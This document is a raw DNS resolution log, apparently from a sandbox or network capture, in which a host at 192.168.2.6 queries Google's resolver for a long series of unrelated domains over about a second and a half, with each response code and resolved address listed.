Mar 10, 2023 07:56:13.236299038 CET	8.8.8.8	192.168.2.6	0x5f35	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.238867044 CET	8.8.8.8	192.168.2.6	0xa4f6	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.245579004 CET	8.8.8.8	192.168.2.6	0x56eb	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.262315035 CET	8.8.8.8	192.168.2.6	0xc1e3	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.277199984 CET	8.8.8.8	192.168.2.6	0x4eb0	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.291666985 CET	8.8.8.8	192.168.2.6	0xe4d6	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.340145111 CET	8.8.8.8	192.168.2.6	0xc969	No error (0)	rkengg.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:13.340145111 CET	8.8.8.8	192.168.2.6	0xc969	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:13.340145111 CET	8.8.8.8	192.168.2.6	0xc969	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.340145111 CET	8.8.8.8	192.168.2.6	0xc969	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.342500925 CET	8.8.8.8	192.168.2.6	0xc898	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.367369890 CET	8.8.8.8	192.168.2.6	0xe788	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.374041080 CET	8.8.8.8	192.168.2.6	0xb539	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.374041080 CET	8.8.8.8	192.168.2.6	0xb539	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.382514954 CET	8.8.8.8	192.168.2.6	0xc11c	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.392059088 CET	8.8.8.8	192.168.2.6	0x3a36	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.456999063 CET	8.8.8.8	192.168.2.6	0xee3a	No error (0)	ifesnet.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.456999063 CET	8.8.8.8	192.168.2.6	0xee3a	No error (0)	ifesnet.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.490952969 CET	8.8.8.8	192.168.2.6	0x7527	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.491523981 CET	8.8.8.8	192.168.2.6	0x68f3	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.491796970 CET	8.8.8.8	192.168.2.6	0x4744	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.543248892 CET	8.8.8.8	192.168.2.6	0xead6	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.543248892 CET	8.8.8.8	192.168.2.6	0xead6	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.549592972 CET	8.8.8.8	192.168.2.6	0x250b	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.549592972 CET	8.8.8.8	192.168.2.6	0x250b	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.550177097 CET	8.8.8.8	192.168.2.6	0x996e	No error (0)	lyto.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.550177097 CET	8.8.8.8	192.168.2.6	0x996e	No error (0)	lyto.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.550754070 CET	8.8.8.8	192.168.2.6	0x2b9	Name error (3)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.550982952 CET	8.8.8.8	192.168.2.6	0x8742	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.551053047 CET	8.8.8.8	192.168.2.6	0xa206	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.554320097 CET	8.8.8.8	192.168.2.6	0x3052	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.556171894 CET	8.8.8.8	192.168.2.6	0x760d	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.556171894 CET	8.8.8.8	192.168.2.6	0x760d	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.573374033 CET	8.8.8.8	192.168.2.6	0xc3f3	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.573425055 CET	8.8.8.8	192.168.2.6	0x7d70	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.601032972 CET	8.8.8.8	192.168.2.6	0x4555	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.608829021 CET	8.8.8.8	192.168.2.6	0xa2aa	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.629996061 CET	8.8.8.8	192.168.2.6	0xf3a7	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.629996061 CET	8.8.8.8	192.168.2.6	0xf3a7	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.629996061 CET	8.8.8.8	192.168.2.6	0xf3a7	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.629996061 CET	8.8.8.8	192.168.2.6	0xf3a7	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.630470037 CET	8.8.8.8	192.168.2.6	0xfe42	No error (0)	araax.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:13.630470037 CET	8.8.8.8	192.168.2.6	0xfe42	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:13.630470037 CET	8.8.8.8	192.168.2.6	0xfe42	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.630470037 CET	8.8.8.8	192.168.2.6	0xfe42	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.658021927 CET	8.8.8.8	192.168.2.6	0x11a1	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.717158079 CET	8.8.8.8	192.168.2.6	0x68a5	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.723695993 CET	8.8.8.8	192.168.2.6	0x6368	No error (0)	www.diamir.de		138.201.65.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.728269100 CET	8.8.8.8	192.168.2.6	0x52a4	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.735433102 CET	8.8.8.8	192.168.2.6	0xc008	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.736052990 CET	8.8.8.8	192.168.2.6	0xa2c9	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.821224928 CET	8.8.8.8	192.168.2.6	0x2165	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.821528912 CET	8.8.8.8	192.168.2.6	0xca4c	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.833225965 CET	8.8.8.8	192.168.2.6	0xd5df	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.833794117 CET	8.8.8.8	192.168.2.6	0x5ca1	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.842060089 CET	8.8.8.8	192.168.2.6	0x983e	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.844443083 CET	8.8.8.8	192.168.2.6	0xc970	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.856820107 CET	8.8.8.8	192.168.2.6	0xb35b	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.857247114 CET	8.8.8.8	192.168.2.6	0x174c	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.857247114 CET	8.8.8.8	192.168.2.6	0x174c	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.957786083 CET	8.8.8.8	192.168.2.6	0x24da	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.024482012 CET	8.8.8.8	192.168.2.6	0xb4ad	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.026201010 CET	8.8.8.8	192.168.2.6	0x9f07	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.027759075 CET	8.8.8.8	192.168.2.6	0x6c1e	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.027759075 CET	8.8.8.8	192.168.2.6	0x6c1e	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.027825117 CET	8.8.8.8	192.168.2.6	0xb1a3	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.041901112 CET	8.8.8.8	192.168.2.6	0x42a2	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.044184923 CET	8.8.8.8	192.168.2.6	0xbb2a	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.050909996 CET	8.8.8.8	192.168.2.6	0xe53	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.055629015 CET	8.8.8.8	192.168.2.6	0x4cfe	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.055629015 CET	8.8.8.8	192.168.2.6	0x4cfe	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.067162037 CET	8.8.8.8	192.168.2.6	0xdb0f	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.112767935 CET	8.8.8.8	192.168.2.6	0xf4e8	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.129575968 CET	8.8.8.8	192.168.2.6	0xe606	No error (0)	rkengg.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.129575968 CET	8.8.8.8	192.168.2.6	0xe606	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.129575968 CET	8.8.8.8	192.168.2.6	0xe606	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.129575968 CET	8.8.8.8	192.168.2.6	0xe606	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.137177944 CET	8.8.8.8	192.168.2.6	0x9d9d	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.137748957 CET	8.8.8.8	192.168.2.6	0x1b2e	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.165182114 CET	8.8.8.8	192.168.2.6	0x6ce4	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.165182114 CET	8.8.8.8	192.168.2.6	0x6ce4	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.168661118 CET	8.8.8.8	192.168.2.6	0xe53d	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.213314056 CET	8.8.8.8	192.168.2.6	0xc61e	No error (0)	assideum.com		52.219.141.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.224423885 CET	8.8.8.8	192.168.2.6	0x19be	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.224423885 CET	8.8.8.8	192.168.2.6	0x19be	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.224423885 CET	8.8.8.8	192.168.2.6	0x19be	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.231889009 CET	8.8.8.8	192.168.2.6	0x465f	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.239988089 CET	8.8.8.8	192.168.2.6	0xa8ae	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.241044044 CET	8.8.8.8	192.168.2.6	0x95f	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.247354984 CET	8.8.8.8	192.168.2.6	0x9256	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.247354984 CET	8.8.8.8	192.168.2.6	0x9256	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.275738955 CET	8.8.8.8	192.168.2.6	0x55f4	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.279516935 CET	8.8.8.8	192.168.2.6	0x6b06	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.303133965 CET	8.8.8.8	192.168.2.6	0xff06	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.303133965 CET	8.8.8.8	192.168.2.6	0xff06	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.304944038 CET	8.8.8.8	192.168.2.6	0xd03c	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.304944038 CET	8.8.8.8	192.168.2.6	0xd03c	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.309166908 CET	8.8.8.8	192.168.2.6	0xc07a	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.310913086 CET	8.8.8.8	192.168.2.6	0xa347	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.320617914 CET	8.8.8.8	192.168.2.6	0xe281	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.320763111 CET	8.8.8.8	192.168.2.6	0x5f58	No error (0)	shesfit.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.320763111 CET	8.8.8.8	192.168.2.6	0x5f58	No error (0)	shesfit.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.321228981 CET	8.8.8.8	192.168.2.6	0xa47	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.322169065 CET	8.8.8.8	192.168.2.6	0x27c1	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.322953939 CET	8.8.8.8	192.168.2.6	0xbc42	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.322953939 CET	8.8.8.8	192.168.2.6	0xbc42	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.325809002 CET	8.8.8.8	192.168.2.6	0x8af4	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.327450991 CET	8.8.8.8	192.168.2.6	0xee1d	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.327450991 CET	8.8.8.8	192.168.2.6	0xee1d	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.327594042 CET	8.8.8.8	192.168.2.6	0xd58a	No error (0)	semuk.com		52.128.23.153	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.328929901 CET	8.8.8.8	192.168.2.6	0x5805	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.329155922 CET	8.8.8.8	192.168.2.6	0xf150	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.330127001 CET	8.8.8.8	192.168.2.6	0xba73	No error (0)	www.muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.332993031 CET	8.8.8.8	192.168.2.6	0xb62	No error (0)	sjbmw.com		198.199.101.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.346656084 CET	8.8.8.8	192.168.2.6	0xbcd7	No error (0)	vivastay.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.346656084 CET	8.8.8.8	192.168.2.6	0xbcd7	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.346656084 CET	8.8.8.8	192.168.2.6	0xbcd7	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.346656084 CET	8.8.8.8	192.168.2.6	0xbcd7	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.352901936 CET	8.8.8.8	192.168.2.6	0xc9b	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.383472919 CET	8.8.8.8	192.168.2.6	0xc0c	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.383472919 CET	8.8.8.8	192.168.2.6	0xc0c	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.400213957 CET	8.8.8.8	192.168.2.6	0xf757	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.401678085 CET	8.8.8.8	192.168.2.6	0x5a13	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.406574965 CET	8.8.8.8	192.168.2.6	0xb9b0	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.410322905 CET	8.8.8.8	192.168.2.6	0x8964	No error (0)	araax.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.410322905 CET	8.8.8.8	192.168.2.6	0x8964	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.410322905 CET	8.8.8.8	192.168.2.6	0x8964	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.410322905 CET	8.8.8.8	192.168.2.6	0x8964	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.411072969 CET	8.8.8.8	192.168.2.6	0xe67e	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.420732021 CET	8.8.8.8	192.168.2.6	0x7695	No error (0)	vfcindia.com		68.71.135.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.432100058 CET	8.8.8.8	192.168.2.6	0x8883	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.438869953 CET	8.8.8.8	192.168.2.6	0xe39a	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.461352110 CET	8.8.8.8	192.168.2.6	0xcc32	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.470865965 CET	8.8.8.8	192.168.2.6	0x8df5	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.497330904 CET	8.8.8.8	192.168.2.6	0xc266	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.508764029 CET	8.8.8.8	192.168.2.6	0x7096	No error (0)	shiner.com		172.67.143.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.508764029 CET	8.8.8.8	192.168.2.6	0x7096	No error (0)	shiner.com		104.21.27.205	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.535455942 CET	8.8.8.8	192.168.2.6	0xdcc	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.550803900 CET	8.8.8.8	192.168.2.6	0xb968	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.568701982 CET	8.8.8.8	192.168.2.6	0x16cd	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.568701982 CET	8.8.8.8	192.168.2.6	0x16cd	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.577626944 CET	8.8.8.8	192.168.2.6	0xa595	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.577626944 CET	8.8.8.8	192.168.2.6	0xa595	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.580586910 CET	8.8.8.8	192.168.2.6	0xe3bd	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.592070103 CET	8.8.8.8	192.168.2.6	0x51c5	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.606408119 CET	8.8.8.8	192.168.2.6	0x88d7	No error (0)	iranytu.net		103.224.212.222	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.624628067 CET	8.8.8.8	192.168.2.6	0xb9b8	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.624628067 CET	8.8.8.8	192.168.2.6	0xb9b8	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.624628067 CET	8.8.8.8	192.168.2.6	0xb9b8	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.624628067 CET	8.8.8.8	192.168.2.6	0xb9b8	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.667236090 CET	8.8.8.8	192.168.2.6	0xe705	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.677496910 CET	8.8.8.8	192.168.2.6	0x9404	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.722764969 CET	8.8.8.8	192.168.2.6	0xfe14	No error (0)	diamir.de		138.201.65.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.724904060 CET	8.8.8.8	192.168.2.6	0x629b	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.727329969 CET	8.8.8.8	192.168.2.6	0xf8eb	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.730473042 CET	8.8.8.8	192.168.2.6	0x2d11	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.731350899 CET	8.8.8.8	192.168.2.6	0x9ac3	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.733067036 CET	8.8.8.8	192.168.2.6	0x4674	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.734281063 CET	8.8.8.8	192.168.2.6	0xf81b	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.734306097 CET	8.8.8.8	192.168.2.6	0x2c8d	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.734539986 CET	8.8.8.8	192.168.2.6	0xfb02	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.734539986 CET	8.8.8.8	192.168.2.6	0xfb02	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.737521887 CET	8.8.8.8	192.168.2.6	0x1e68	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.742043018 CET	8.8.8.8	192.168.2.6	0xd2f2	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.750703096 CET	8.8.8.8	192.168.2.6	0xc112	No error (0)	www.muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.753081083 CET	8.8.8.8	192.168.2.6	0x917	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.810316086 CET	8.8.8.8	192.168.2.6	0x19c2	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.821157932 CET	8.8.8.8	192.168.2.6	0x246b	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.824080944 CET	8.8.8.8	192.168.2.6	0x7649	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.824080944 CET	8.8.8.8	192.168.2.6	0x7649	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.824080944 CET	8.8.8.8	192.168.2.6	0x7649	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.828289032 CET	8.8.8.8	192.168.2.6	0xa542	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
